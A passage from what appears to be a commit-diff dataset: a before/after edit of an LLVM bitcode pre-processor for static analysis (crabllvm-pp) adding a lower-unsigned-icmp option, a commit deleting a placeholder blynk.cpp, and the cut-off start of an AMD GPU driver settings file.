HAVE_LLVM_SEAHORN\n#include \"llvm_seahorn\/Transforms\/Scalar.h\"\n#endif \n\nstatic llvm::cl::opt<std::string>\nInputFilename(llvm::cl::Positional, llvm::cl::desc(\"<input LLVM bitcode file>\"),\n              llvm::cl::Required, llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\nOutputFilename(\"o\", llvm::cl::desc(\"Override output filename\"),\n               llvm::cl::init(\"\"), llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<bool>\nOutputAssembly(\"S\", llvm::cl::desc(\"Write output as LLVM assembly\"));\n\nstatic llvm::cl::opt<std::string>\nAsmOutputFilename(\"oll\", llvm::cl::desc(\"Output analyzed bitcode\"),\n               llvm::cl::init(\"\"), llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\nDefaultDataLayout(\"default-data-layout\",\n                  llvm::cl::desc(\"data layout string to use if not specified by module\"),\n                  llvm::cl::init(\"\"), llvm::cl::value_desc(\"layout-string\"));\n\nstatic llvm::cl::opt<bool>\nInlineAll (\"crab-inline-all\", llvm::cl::desc (\"Inline all functions\"),\n           llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nDevirtualize (\"crab-devirt\", \n              llvm::cl::desc (\"Resolve indirect calls\"),\n              llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nLowerSelect (\"crab-lower-select\", llvm::cl::desc (\"Lower all select instructions\"),\n             llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nLowerInvoke (\"crab-lower-invoke\", llvm::cl::desc (\"Lower all invoke instructions\"),\n             llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nLowerGv (\"crab-lower-gv\", llvm::cl::desc (\"Lower global initializers in main\"),\n             llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nOptimizeLoops (\"crab-llvm-pp-loops\", \n               llvm::cl::desc (\"Perform loop optimizations\"),\n               llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nTurnUndefNondet (\"crab-turn-undef-nondet\", \n                 llvm::cl::desc (\"Turn undefined behaviour into non-determinism\"),\n                 llvm::cl::init (false));\n\nstatic llvm::cl::opt<int>\nSROA_Threshold (\"sroa-threshold\",\n                llvm::cl::desc (\"Threshold for ScalarReplAggregates pass\"),\n                llvm::cl::init(INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_StructMemThreshold (\"sroa-struct\",\n                         llvm::cl::desc (\"Structure threshold for ScalarReplAggregates\"),\n                         llvm::cl::init (INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_ArrayElementThreshold (\"sroa-array\",\n                            llvm::cl::desc (\"Array threshold for ScalarReplAggregates\"),\n                            llvm::cl::init (INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_ScalarLoadThreshold (\"sroa-scalar-load\",\n                          llvm::cl::desc (\"Scalar load threshold for ScalarReplAggregates\"),\n                          llvm::cl::init (-1));\n\n\/\/ removes extension from filename if there is one\nstd::string getFileName(const std::string &str) {\n  std::string filename = str;\n  size_t lastdot = str.find_last_of(\".\");\n  if (lastdot != std::string::npos)\n    filename = str.substr(0, lastdot);\n  return filename;\n}\n\nint main(int argc, char **argv) {\n  llvm::llvm_shutdown_obj shutdown;  \/\/ calls llvm_shutdown() on exit\n  llvm::cl::ParseCommandLineOptions(argc, argv,\n                                    \"llvmpp-- LLVM bitcode Pre-Processor for static analysis\\n\");\n\n  llvm::sys::PrintStackTraceOnErrorSignal();\n  llvm::PrettyStackTraceProgram PSTP(argc, argv);\n  llvm::EnableDebugBuffering = true;\n\n  std::error_code error_code;\n  llvm::SMDiagnostic err;\n  llvm::LLVMContext &context = llvm::getGlobalContext();\n  std::unique_ptr<llvm::Module> module;\n  std::unique_ptr<llvm::tool_output_file> output;\n  std::unique_ptr<llvm::tool_output_file> asmOutput;\n  \n  module = llvm::parseIRFile(InputFilename, err, context);\n  if (module.get() == 0)\n  {\n    if (llvm::errs().has_colors()) llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: \"\n                 << \"Bitcode was not properly read; \" << err.getMessage() << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  if (!AsmOutputFilename.empty ())\n    asmOutput = \n      llvm::make_unique<llvm::tool_output_file>(AsmOutputFilename.c_str(), error_code, \n                                                llvm::sys::fs::F_Text);\n  if (error_code) {\n    if (llvm::errs().has_colors()) \n      llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: Could not open \" << AsmOutputFilename << \": \" \n                 << error_code.message () << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  if (!OutputFilename.empty ())\n    output = llvm::make_unique<llvm::tool_output_file>\n      (OutputFilename.c_str(), error_code, llvm::sys::fs::F_None);\n      \n  if (error_code) {\n    if (llvm::errs().has_colors()) llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: Could not open \" << OutputFilename << \": \" \n                 << error_code.message () << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  \n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ initialise and run passes \/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n  llvm::PassManager pass_manager;\n  llvm::PassRegistry &Registry = *llvm::PassRegistry::getPassRegistry();\n  llvm::initializeAnalysis(Registry);\n  \n  \/\/\/ call graph and other IPA passes\n  llvm::initializeIPA (Registry);\n  \n  \/\/ add an appropriate DataLayout instance for the module\n  const llvm::DataLayout *dl = module->getDataLayout ();\n  if (!dl && !DefaultDataLayout.empty ())\n  {\n    module->setDataLayout (DefaultDataLayout);\n    dl = module->getDataLayout ();\n  }\n  if (dl) pass_manager.add (new llvm::DataLayoutPass ());\n  \n  \/\/ -- turn all functions internal so that we can apply some global\n  \/\/ -- optimizations inline them if requested\n  pass_manager.add (llvm::createInternalizePass (llvm::ArrayRef<const char*>(\"main\")));\n\n  if (Devirtualize) {\n    \/\/ -- resolve indirect calls\n    pass_manager.add (crab_llvm::createDevirtualizeFunctionsPass ());\n  }\n\n  pass_manager.add (llvm::createGlobalDCEPass ()); \/\/ kill unused internal global  \n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n  \/\/ -- global optimizations\n  pass_manager.add (llvm::createGlobalOptimizerPass());\n  \n  \/\/ -- SSA\n  pass_manager.add(llvm::createPromoteMemoryToRegisterPass());\n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n    \/\/ -- Turn undef into nondet\n    pass_manager.add (llvm_seahorn::createNondetInitPass ());\n  }\n  #endif \n\n  \/\/ -- cleanup after SSA\n  #ifdef HAVE_LLVM_SEAHORN\n  pass_manager.add (llvm_seahorn::createInstructionCombiningPass ());\n  #endif \n  pass_manager.add (llvm::createCFGSimplificationPass ());\n  \n  \n  \/\/ -- break aggregates\n  pass_manager.add (llvm::createScalarReplAggregatesPass (SROA_Threshold,\n                                                          true,\n                                                          SROA_StructMemThreshold,\n                                                          SROA_ArrayElementThreshold,\n                                                          SROA_ScalarLoadThreshold));\n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n     \/\/ -- Turn undef into nondet (undef are created by SROA when it calls mem2reg)\n     pass_manager.add (llvm_seahorn::createNondetInitPass ());\n  }\n  #endif \n\n  \/\/ -- global value numbering and redundant load elimination\n  pass_manager.add (llvm::createGVNPass());\n  \n  \/\/ -- cleanup after break aggregates\n  #ifdef HAVE_LLVM_SEAHORN\n  pass_manager.add (llvm_seahorn::createInstructionCombiningPass ());\n  #endif \n  pass_manager.add (llvm::createCFGSimplificationPass ());\n  \n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n     \/\/ eliminate unused calls to verifier.nondet() functions\n     pass_manager.add (llvm_seahorn::createDeadNondetElimPass ());\n  }\n  #endif \n\n  if (LowerInvoke) \n  {\n    \/\/ -- lower invoke's\n    pass_manager.add(llvm::createLowerInvokePass());\n    \/\/ cleanup after lowering invoke's\n    pass_manager.add (llvm::createCFGSimplificationPass ());  \n  }\n  \n  if (InlineAll)\n  {\n    pass_manager.add (crab_llvm::createMarkInternalInlinePass ());   \n    pass_manager.add (llvm::createAlwaysInlinerPass ());\n    pass_manager.add (llvm::createGlobalDCEPass ()); \/\/ kill unused internal global\n  }\n  \n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n  pass_manager.add(llvm::createDeadInstEliminationPass());\n  \n  if (OptimizeLoops) {\n    \/\/ canonical form for loops\n    pass_manager.add (llvm::createLoopSimplifyPass());\n    pass_manager.add (llvm::createCFGSimplificationPass ());  \/\/ cleanup unnecessary blocks \n    \/\/ loop-closed SSA \n    pass_manager.add (llvm::createLCSSAPass());\n    #ifdef HAVE_LLVM_SEAHORN\n    \/\/ induction variable\n    pass_manager.add (llvm_seahorn::createIndVarSimplifyPass ());\n    #endif \n  }\n\n  \/\/ trivial invariants outside loops \n  pass_manager.add (llvm::createBasicAliasAnalysisPass());\n  pass_manager.add (llvm::createLICMPass()); \/\/LICM needs alias analysis\n  pass_manager.add (llvm::createPromoteMemoryToRegisterPass());\n  \/\/ dead loop elimination\n  pass_manager.add (llvm::createLoopDeletionPass());\n  pass_manager.add (llvm::createCFGSimplificationPass ()); \/\/ cleanup unnecessary blocks \n  \n  if (LowerGv) {\n    \/\/ -- lower initializers of global variables\n    pass_manager.add (crab_llvm::createLowerGvInitializersPass ());   \n  }\n\n  \/\/ -- ensure one single exit point per function\n  pass_manager.add (llvm::createUnifyFunctionExitNodesPass ());\n  pass_manager.add (llvm::createGlobalDCEPass ()); \n  pass_manager.add (llvm::createDeadCodeEliminationPass());\n  \/\/ -- remove unreachable blocks also dead cycles\n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n\n  \/\/ -- remove switch constructions\n  pass_manager.add (llvm::createLowerSwitchPass());\n  \n  \/\/ -- lower constant expressions to instructions\n  pass_manager.add (crab_llvm::createLowerCstExprPass ());   \n  pass_manager.add (llvm::createDeadCodeEliminationPass());\n\n  \/\/ -- must be the last ones:\n  if (LowerSelect)\n    pass_manager.add (crab_llvm::createLowerSelectPass ());   \n\n  if (!AsmOutputFilename.empty ()) \n    pass_manager.add (createPrintModulePass (asmOutput->os ()));\n      \n  if (!OutputFilename.empty ()) \n  {\n    if (OutputAssembly)\n      pass_manager.add (createPrintModulePass (output->os ()));\n    else \n      pass_manager.add (createBitcodeWriterPass (output->os ()));\n  }\n  \n  pass_manager.run(*module.get());\n\n  if (!AsmOutputFilename.empty ()) asmOutput->keep ();\n  if (!OutputFilename.empty ()) output->keep();\n  return 0;\n}\n<commit_msg>Updating options<commit_after>\/\/\/\n\/\/ crabllvm-pp -- LLVM bitcode Pre-Processor for static analysis\n\/\/\/\n\n#include \"llvm\/LinkAllPasses.h\"\n#include \"llvm\/PassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/Support\/FileSystem.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/ManagedStatic.h\"\n#include \"llvm\/Support\/PrettyStackTrace.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/ToolOutputFile.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Bitcode\/ReaderWriter.h\"\n#include \"llvm\/Bitcode\/BitcodeWriterPass.h\"\n\n#include \"crab_llvm\/config.h\"\n#include \"crab_llvm\/Passes.hh\"\n\n#ifdef HAVE_LLVM_SEAHORN\n#include \"llvm_seahorn\/Transforms\/Scalar.h\"\n#endif \n\nstatic llvm::cl::opt<std::string>\nInputFilename(llvm::cl::Positional, llvm::cl::desc(\"<input LLVM bitcode file>\"),\n              llvm::cl::Required, llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\nOutputFilename(\"o\", llvm::cl::desc(\"Override output filename\"),\n               llvm::cl::init(\"\"), llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<bool>\nOutputAssembly(\"S\", llvm::cl::desc(\"Write output as LLVM assembly\"));\n\nstatic llvm::cl::opt<std::string>\nAsmOutputFilename(\"oll\",\n\tllvm::cl::desc(\"Output analyzed bitcode\"),\n        llvm::cl::init(\"\"), llvm::cl::value_desc(\"filename\"));\n\nstatic llvm::cl::opt<std::string>\nDefaultDataLayout(\"default-data-layout\",\n        llvm::cl::desc(\"data layout string to use if not specified by module\"),\n        llvm::cl::init(\"\"), llvm::cl::value_desc(\"layout-string\"));\n\nstatic llvm::cl::opt<bool>\nInlineAll (\"crab-inline-all\",\n\t   llvm::cl::desc (\"Inline all functions\"),\n           llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nDevirtualize (\"crab-devirt\", \n              llvm::cl::desc (\"Resolve indirect calls\"),\n              llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nLowerSelect (\"crab-lower-select\",\n\t     llvm::cl::desc (\"Lower all select instructions\"),\n             llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nLowerGv (\"crab-lower-gv\",\n\t llvm::cl::desc (\"Lower global initializers in main\"),\n\t llvm::cl::init (true));\n\nstatic llvm::cl::opt<bool>\nLowerUnsignedICmp(\"crab-lower-unsigned-icmp\",\n\t llvm::cl::desc (\"Lower ULT and ULE instructions\"),\n\t llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nOptimizeLoops (\"crab-llvm-pp-loops\", \n               llvm::cl::desc (\"Perform loop optimizations\"),\n               llvm::cl::init (false));\n\nstatic llvm::cl::opt<bool>\nTurnUndefNondet (\"crab-turn-undef-nondet\", \n                 llvm::cl::desc (\"Turn undefined behaviour into non-determinism\"),\n                 llvm::cl::init (false));\n\nstatic llvm::cl::opt<int>\nSROA_Threshold (\"sroa-threshold\",\n                llvm::cl::desc (\"Threshold for ScalarReplAggregates pass\"),\n                llvm::cl::init(INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_StructMemThreshold (\"sroa-struct\",\n                llvm::cl::desc (\"Structure threshold for ScalarReplAggregates\"),\n                llvm::cl::init (INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_ArrayElementThreshold (\"sroa-array\",\n                llvm::cl::desc (\"Array threshold for ScalarReplAggregates\"),\n                llvm::cl::init (INT_MAX));\nstatic llvm::cl::opt<int>\nSROA_ScalarLoadThreshold (\"sroa-scalar-load\",\n                llvm::cl::desc (\"Scalar load threshold for ScalarReplAggregates\"),\n                llvm::cl::init (-1));\n\n\/\/ removes extension from filename if there is one\nstd::string getFileName(const std::string &str) {\n  std::string filename = str;\n  size_t lastdot = str.find_last_of(\".\");\n  if (lastdot != std::string::npos)\n    filename = str.substr(0, lastdot);\n  return filename;\n}\n\nint main(int argc, char **argv) {\n  llvm::llvm_shutdown_obj shutdown;  \/\/ calls llvm_shutdown() on exit\n  llvm::cl::ParseCommandLineOptions(argc, argv,\n  \"llvmpp-- LLVM bitcode Pre-Processor for static analysis\\n\");\n\n  llvm::sys::PrintStackTraceOnErrorSignal();\n  llvm::PrettyStackTraceProgram PSTP(argc, argv);\n  llvm::EnableDebugBuffering = true;\n\n  std::error_code error_code;\n  llvm::SMDiagnostic err;\n  llvm::LLVMContext &context = llvm::getGlobalContext();\n  std::unique_ptr<llvm::Module> module;\n  std::unique_ptr<llvm::tool_output_file> output;\n  std::unique_ptr<llvm::tool_output_file> asmOutput;\n  \n  module = llvm::parseIRFile(InputFilename, err, context);\n  if (module.get() == 0)\n  {\n    if (llvm::errs().has_colors())\n      llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: \"\n                 << \"Bitcode was not properly read; \" << err.getMessage() << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  if (!AsmOutputFilename.empty ())\n    asmOutput = \n      llvm::make_unique<llvm::tool_output_file>\n      (AsmOutputFilename.c_str(), error_code, llvm::sys::fs::F_Text);\n       \n  if (error_code) {\n    if (llvm::errs().has_colors()) \n      llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: Could not open \" << AsmOutputFilename << \": \" \n                 << error_code.message () << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  if (!OutputFilename.empty ())\n    output = llvm::make_unique<llvm::tool_output_file>\n      (OutputFilename.c_str(), error_code, llvm::sys::fs::F_None);\n      \n  if (error_code) {\n    if (llvm::errs().has_colors())\n      llvm::errs().changeColor(llvm::raw_ostream::RED);\n    llvm::errs() << \"error: Could not open \" << OutputFilename << \": \" \n                 << error_code.message () << \"\\n\";\n    if (llvm::errs().has_colors()) llvm::errs().resetColor();\n    return 3;\n  }\n\n  \n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ initialise and run passes \/\/\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n  llvm::PassManager pass_manager;\n  llvm::PassRegistry &Registry = *llvm::PassRegistry::getPassRegistry();\n  llvm::initializeAnalysis(Registry);\n  \n  \/\/\/ call graph and other IPA passes\n  llvm::initializeIPA (Registry);\n  \n  \/\/ add an appropriate DataLayout instance for the module\n  const llvm::DataLayout *dl = module->getDataLayout ();\n  if (!dl && !DefaultDataLayout.empty ()) {\n    module->setDataLayout (DefaultDataLayout);\n    dl = module->getDataLayout ();\n  }\n  if (dl)\n    pass_manager.add (new llvm::DataLayoutPass ());\n  \n  \/\/ -- turn all functions internal so that we can apply some global\n  \/\/ -- optimizations inline them if requested\n  pass_manager.add (llvm::createInternalizePass (llvm::ArrayRef<const char*>(\"main\")));\n\n  if (Devirtualize) {\n    \/\/ -- resolve indirect calls\n    pass_manager.add (crab_llvm::createDevirtualizeFunctionsPass ());\n  }\n\n  \/\/ kill unused internal global    \n  pass_manager.add (llvm::createGlobalDCEPass ()); \n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n  \/\/ -- global optimizations\n  pass_manager.add (llvm::createGlobalOptimizerPass());\n  \n  \/\/ -- SSA\n  pass_manager.add(llvm::createPromoteMemoryToRegisterPass());\n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n    \/\/ -- Turn undef into nondet\n    pass_manager.add (llvm_seahorn::createNondetInitPass ());\n  }\n  #endif \n\n  \/\/ -- cleanup after SSA\n  #ifdef HAVE_LLVM_SEAHORN\n  pass_manager.add (llvm_seahorn::createInstructionCombiningPass ());\n  #endif \n  pass_manager.add (llvm::createCFGSimplificationPass ());\n    \n  \/\/ -- break aggregates\n  pass_manager.add (llvm::createScalarReplAggregatesPass\n\t\t    (SROA_Threshold,\n\t\t     true,\n\t\t     SROA_StructMemThreshold,\n\t\t     SROA_ArrayElementThreshold,\n\t\t     SROA_ScalarLoadThreshold));\n  \n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n     \/\/ -- Turn undef into nondet (undef are created by SROA when it calls mem2reg)\n     pass_manager.add (llvm_seahorn::createNondetInitPass ());\n  }\n  #endif \n\n  \/\/ -- global value numbering and redundant load elimination\n  pass_manager.add (llvm::createGVNPass());\n  \n  \/\/ -- cleanup after break aggregates\n  #ifdef HAVE_LLVM_SEAHORN\n  pass_manager.add (llvm_seahorn::createInstructionCombiningPass ());\n  #endif \n  pass_manager.add (llvm::createCFGSimplificationPass ());\n  \n  #ifdef HAVE_LLVM_SEAHORN\n  if (TurnUndefNondet) {\n     \/\/ eliminate unused calls to verifier.nondet() functions\n     pass_manager.add (llvm_seahorn::createDeadNondetElimPass ());\n  }\n  #endif \n\n  \/\/ -- lower invoke's\n  pass_manager.add(llvm::createLowerInvokePass());\n  \/\/ cleanup after lowering invoke's\n  pass_manager.add (llvm::createCFGSimplificationPass ());  \n  \n  if (InlineAll) {\n    pass_manager.add (crab_llvm::createMarkInternalInlinePass ());   \n    pass_manager.add (llvm::createAlwaysInlinerPass ());\n    \/\/ kill unused internal global    \n    pass_manager.add (llvm::createGlobalDCEPass ()); \n  }\n  \n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n  pass_manager.add(llvm::createDeadInstEliminationPass());\n  \n  if (OptimizeLoops) {\n    \/\/ canonical form for loops\n    pass_manager.add (llvm::createLoopSimplifyPass());\n    \/\/ cleanup unnecessary blocks     \n    pass_manager.add (llvm::createCFGSimplificationPass ());  \n    \/\/ loop-closed SSA \n    pass_manager.add (llvm::createLCSSAPass());\n    #ifdef HAVE_LLVM_SEAHORN\n    \/\/ induction variable\n    pass_manager.add (llvm_seahorn::createIndVarSimplifyPass ());\n    #endif \n  }\n\n  \/\/ trivial invariants outside loops \n  pass_manager.add (llvm::createBasicAliasAnalysisPass());\n  \/\/LICM needs alias analysis  \n  pass_manager.add (llvm::createLICMPass()); \n  pass_manager.add (llvm::createPromoteMemoryToRegisterPass());\n  \/\/ dead loop elimination\n  pass_manager.add (llvm::createLoopDeletionPass());\n  \/\/ cleanup unnecessary blocks   \n  pass_manager.add (llvm::createCFGSimplificationPass ()); \n  \n  if (LowerGv) {\n    \/\/ -- lower initializers of global variables\n    pass_manager.add (crab_llvm::createLowerGvInitializersPass ());   \n  }\n\n  \/\/ -- ensure one single exit point per function\n  pass_manager.add (llvm::createUnifyFunctionExitNodesPass ());\n  pass_manager.add (llvm::createGlobalDCEPass ()); \n  pass_manager.add (llvm::createDeadCodeEliminationPass());\n  \/\/ -- remove unreachable blocks also dead cycles\n  pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n\n  \/\/ -- remove switch constructions\n  pass_manager.add (llvm::createLowerSwitchPass());\n  \n  \/\/ -- lower constant expressions to instructions\n  pass_manager.add (crab_llvm::createLowerCstExprPass ());   \n  pass_manager.add (llvm::createDeadCodeEliminationPass());\n\n  \/\/ -- lower ULT and ULE instructions  \n  if (LowerUnsignedICmp) {\n    pass_manager.add (crab_llvm::createLowerUnsignedICmpPass ());   \n    \/\/ cleanup unnecessary and unreachable blocks   \n    pass_manager.add (llvm::createCFGSimplificationPass ());\n    pass_manager.add (crab_llvm::createRemoveUnreachableBlocksPass ());\n  }\n  \n  \/\/ -- must be the last ones:\n  if (LowerSelect)\n    pass_manager.add (crab_llvm::createLowerSelectPass ());   \n\n  if (!AsmOutputFilename.empty ()) \n    pass_manager.add (createPrintModulePass (asmOutput->os ()));\n      \n  if (!OutputFilename.empty ())  {\n    if (OutputAssembly)\n      pass_manager.add (createPrintModulePass (output->os ()));\n    else \n      pass_manager.add (createBitcodeWriterPass (output->os ()));\n  }\n  \n  pass_manager.run(*module.get());\n\n  if (!AsmOutputFilename.empty ()) asmOutput->keep ();\n  if (!OutputFilename.empty ()) output->keep();\n  \n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ We don't use this cpp file...\n<commit_msg>Delete blynk.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2015 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n#include \"top.hpp\"\n#include \"os\/os.hpp\"\n#include \"device\/device.hpp\"\n#include \"device\/pal\/paldefs.hpp\"\n#include \"device\/pal\/palsettings.hpp\"\n\n#include <algorithm>\n\nnamespace pal {\n\n\/*! \\brief information for adjusting maximum workload time\n *\n *  This structure contains the time and OS minor version for max workload time\n *  adjustment for Windows 7 or 8.\n *\/\nstruct ModifyMaxWorkload\n{\n    uint32_t time;          \/\/!< max work load time (10x ms)\n    uint32_t minorVersion;  \/\/!< OS minor version\n};\n\n\nSettings::Settings()\n{\n    \/\/ Initialize the GPU device default settings\n    oclVersion_         = OpenCL12;\n    debugFlags_         = 0;\n    syncObject_         = GPU_USE_SYNC_OBJECTS;\n    remoteAlloc_        = REMOTE_ALLOC;\n\n    stagedXferRead_   = true;\n    stagedXferWrite_  = true;\n    stagedXferSize_   = GPU_STAGING_BUFFER_SIZE * Ki;\n\n    \/\/ We will enable staged read\/write if we use local memory\n    disablePersistent_ = false;\n\n    \/\/ By Default persistent writes will be disabled.\n    stagingWritePersistent_ = GPU_STAGING_WRITE_PERSISTENT;\n\n    maxRenames_         = 4;\n    maxRenameSize_      = 4 * Mi;\n\n    imageSupport_       = false;\n    hwLDSSize_          = 0;\n\n    \/\/ Set this to true when we drop the flag\n    doublePrecision_    = ::CL_KHR_FP64;\n\n    \/\/ Fill workgroup info size\n    \/\/ @todo: revisit the 256 limitation on workgroup size\n    maxWorkGroupSize_   = 256;\n\n    hostMemDirectAccess_  = HostMemDisable;\n\n    libSelector_    = amd::LibraryUndefined;\n\n    \/\/ Enable workload split by default (for 24 bit arithmetic or timeout)\n    workloadSplitSize_  = 1 << GPU_WORKLOAD_SPLIT;\n\n    \/\/ By default use host blit\n    blitEngine_         = BlitEngineHost;\n    const static size_t MaxPinnedXferSize = 32;\n    pinnedXferSize_     = std::min(GPU_PINNED_XFER_SIZE, MaxPinnedXferSize) * Mi;\n    pinnedMinXferSize_  = std::min(GPU_PINNED_MIN_XFER_SIZE * Ki, pinnedXferSize_);\n\n    \/\/ Disable FP_FAST_FMA defines by default\n    reportFMAF_ = false;\n    reportFMA_  = false;\n\n    \/\/ GPU device by default\n    apuSystem_  = false;\n\n    \/\/ Disable 64 bit pointers support by default\n    use64BitPtr_ = false;\n\n    \/\/ Max alloc size is 16GB\n    maxAllocSize_ = 16 * static_cast<uint64_t>(Gi);\n\n    \/\/ Disable memory dependency tracking by default\n    numMemDependencies_ = 0;\n\n    \/\/ By default cache isn't present\n    cacheLineSize_  = 0;\n    cacheSize_      = 0;\n\n    \/\/ Initialize transfer buffer size to 1MB by default\n    xferBufSize_    = 1024 * Ki;\n\n    \/\/ Use image DMA if requested\n    imageDMA_       = GPU_IMAGE_DMA;\n\n    \/\/ Disable ASIC specific features by default\n    viPlus_         = false;\n    aiPlus_         = false;\n\n    \/\/ Number of compute rings.\n    numComputeRings_ = 0;\n\n    minWorkloadTime_ = 1;       \/\/ 0.1 ms\n    maxWorkloadTime_ = 5000;    \/\/ 500 ms\n\n    \/\/ Controls tiled images in persistent\n    \/\/!@note IOL for Linux doesn't setup tiling aperture in CMM\/QS\n    linearPersistentImage_ = false;\n\n    useSingleScratch_ = GPU_USE_SINGLE_SCRATCH;\n\n    \/\/ Device enqueuing settings\n    numDeviceEvents_ = 1024;\n    numWaitEvents_   = 8;\n\n    \/\/ Don't support platform atomics by default.\n    svmAtomics_ = false;\n\n    \/\/ Use host queue for device enqueuing by default\n    useDeviceQueue_ = GPU_USE_DEVICE_QUEUE;\n\n    \/\/ Don't support Denormals for single precision by default\n    singleFpDenorm_ = false;\n\n    \/\/ Disable SDMA workaround by default\n    sdamPageFaultWar_ = false;\n}\n\nbool\nSettings::create(\n    const Pal::DeviceProperties& palProp,\n    const Pal::GpuMemoryHeapProperties* heaps,\n    bool reportAsOCL12Device\n)\n{\n\/\/    uint    target = calAttr.target;\n    uint32_t osVer = 0x0;\n\n    \/\/ Disable thread trace by default for all devices\n    threadTraceEnable_ = false;\n    bool doublePrecision = true;\n\n    if (doublePrecision) {\n        \/\/ Report FP_FAST_FMA define if double precision HW\n        reportFMA_ = true;\n        \/\/ FMA is 1\/4 speed on Pitcairn, Cape Verde, Devastator and Scrapper\n        \/\/ Bonaire, Kalindi, Spectre and Spooky so disable\n        \/\/ FP_FMA_FMAF for those parts in switch below\n        reportFMAF_ = true;\n    }\n\n    \/\/ Update GPU specific settings and info structure if we have any\n    ModifyMaxWorkload modifyMaxWorkload = {0};\n\n    switch (palProp.revision) {\n    case Pal::AsicRevision::Unknown:\n        switch (palProp.gfxLevel) {\n        case Pal::GfxIpLevel::GfxIp9:\n            aiPlus_ = true;\n            break;\n        default:\n            assert(0 && \"Unknown GfxIP type!\");\n            return false;\n        }\n        \/\/ Fall through to VI ...\n    case Pal::AsicRevision::Carrizo:\n    case Pal::AsicRevision::Stoney:\n        if (!aiPlus_) {\n            \/\/ APU systems for VI\n            apuSystem_  = true;\n        }\n    case Pal::AsicRevision::Iceland:\n    case Pal::AsicRevision::Tonga:\n    case Pal::AsicRevision::Fiji:\n    case Pal::AsicRevision::Ellesmere:\n    case Pal::AsicRevision::Baffin:\n        \/\/ Disable tiling aperture on VI+\n        linearPersistentImage_ = true;\n        \/\/ Keep this false even though we have support\n        \/\/ singleFpDenorm_ = true;\n        viPlus_ = true;\n        \/\/ SDMA may have memory access outside of\n        \/\/ the valid buffer range and cause a page fault\n        sdamPageFaultWar_ = true;\n        \/\/ Fall through to CI ...\n    case Pal::AsicRevision::Kalindi:\n    case Pal::AsicRevision::Spectre:\n        if (!viPlus_) {\n            \/\/ APU systems for CI\n            apuSystem_  = true;\n            \/\/ Fix BSOD\/TDR issues observed on Kaveri Win7 (EPR#416903)\n            modifyMaxWorkload.time = 2500;      \/\/ 250ms\n            modifyMaxWorkload.minorVersion = 1; \/\/ Win 7\n        }\n        \/\/ Fall through ...\n    case Pal::AsicRevision::Bonaire:\n    case Pal::AsicRevision::Hawaii:\n        threadTraceEnable_ = AMD_THREAD_TRACE_ENABLE;\n        reportFMAF_ = false;\n        if (palProp.revision == 